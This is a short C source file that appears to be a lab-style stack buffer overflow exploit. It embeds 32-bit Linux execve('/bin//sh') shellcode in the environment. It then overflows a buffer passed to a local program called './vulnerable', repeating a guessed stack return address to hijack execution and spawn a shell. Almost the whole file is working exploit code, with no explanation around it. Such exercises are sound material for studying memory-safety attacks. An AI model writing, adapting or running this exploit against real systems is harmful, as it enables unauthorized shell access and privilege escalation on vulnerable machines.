#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] =
"\x31\xc0"              /* xor %eax, %eax       */
"\x50"                  /* push %eax            */
"\x68\x2f\x2f\x73\x68"  /* push $0x68732f2f     */
"\x68\x2f\x62\x69\x6e"  /* push $0x6e69622f     */
"\x89\xe3"              /* mov  %esp,%ebx       */
"\x50"                  /* push %eax            */
"\x53"                  /* push %ebx            */
"\x89\xe1"              /* mov  %esp,%ecx       */
"\x31\xd2"              /* xor  %edx,%edx       */
"\xb0\x0b"              /* mov  $0xb,%al        */
"\xcd\x80";             /* int  $0x80           */

#define BSIZE 34
#define RET 0xbffff94c
int main(int argc,char **argv)
{
        int bsize=BSIZE;
        unsigned long ret=0xc0000000-strlen(shellcode)-1-strlen("./vulnerable")-1-sizeof(void*);

        if(argc>1) bsize=atoi(argv[1]);
        if(argc>2) ret=atoi(argv[2]);

        char *buf=(char *)malloc(sizeof(char)*bsize);
			buf[0]=buf[1]='a';

        int i;
        for(i=2;i<bsize;i+=4)
                *(long *)&buf[i]=ret;

        char *args[]={"./vulnerable",buf,NULL};
        char *env[]={"HOME=/root",shellcode,NULL};

        execve(args[0],args,env);

        return 0;

}
